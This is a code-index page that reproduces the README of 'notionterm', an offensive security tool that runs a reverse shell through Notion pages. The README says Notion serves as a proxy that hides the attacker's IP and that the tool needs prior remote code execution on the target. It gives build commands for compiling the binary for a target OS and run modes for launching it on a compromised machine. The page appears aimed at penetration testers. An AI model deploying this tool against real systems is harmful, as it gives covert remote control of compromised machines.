MCPcopy Index your code
hub / github.com/ariary/notionterm

github.com/ariary/notionterm @v1.0.1

Chat with this repo
repository ↗ · DeepWiki ↗ · release v1.0.1 ↗ · + Follow
37 symbols 88 edges 5 files 32 documented · 86%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

notionterm

Embed reverse shell in Notion pages.

Hack while taking notes


demo


FOR ➕:

  • Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
  • Demo/Quick proof insertion within report
  • High available and shareable reverse shell (desktop, browser, mobile)
  • Encrypted and authenticated remote shell

NOT FOR ➖:

  • Long and interactive shell session (see tacos for that)

Why? 🤔

The focus was on making something fun while still being usable, but that's not meant to be THE solution for reverse shell in the pentester's arsenal

How? 🤷‍♂️

Just use notion as usual and launch notionterm on target.

Requirements 🖊️

  • Notion software and API key
  • Allowed HTTP communication from the target to the notion domain
  • Prior RCE on target

roughly inspired by the great idea of OffensiveNotion and notionion!

TL;DR

Learn command and flags is too boring: Use wrap-notionterm.sh

Quickstart

🏗️ Set-up

  1. Create a page and give to the integration API key the permissions to have page write access
  2. Build notionterm and transfer it on target machine (see Build)

👟 Run

There are 3 main ways to run notionterm:

"normal" mode

Get terminal, stop/unstop it, etc...

notionterm [flags]

Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc...

"server" mode

Ease notionterm embedding in any page

notionterm --server [flags]

Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].

light mode

Only perform HTTP traffic from target → notion

notionterm light [flags]

Build

As notionterm is aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:

GOOS=[windows/linux/darwin]

Simple build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)

"All-inclusive" build

Embed directly the notion integration API token and notion page url in the binary. ⚠️ everybody with access to the binary can retrieved the token. For security reason don't share it and remove it after use.

Set according env var:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

And build it:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS

Core symbols most depended-on inside this repo

UpdateCaptionById
called by 3
pkg/notionterm/notionapi.go
AddRichText
called by 3
pkg/notionterm/notionapi.go
Init
called by 2
notionterm.go
CreateTerminalBlock
called by 2
pkg/notionterm/notionterm.go
NotiontermRun
called by 2
pkg/notionterm/notionterm.go
RequestTerminalBlock
called by 2
pkg/notionterm/notionapi.go
getPageId
called by 1
notionterm.go
DetectExternalIP
called by 1
notionterm.go

Shape

Function 35
Struct 2

Languages

Go100%

Modules by API surface

pkg/notionterm/notionapi.go16 symbols
pkg/notionterm/notionterm.go8 symbols
pkg/notionterm/server.go7 symbols
notionterm.go4 symbols
pkg/notionterm/config.go2 symbols

For agents

$ claude mcp add notionterm \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact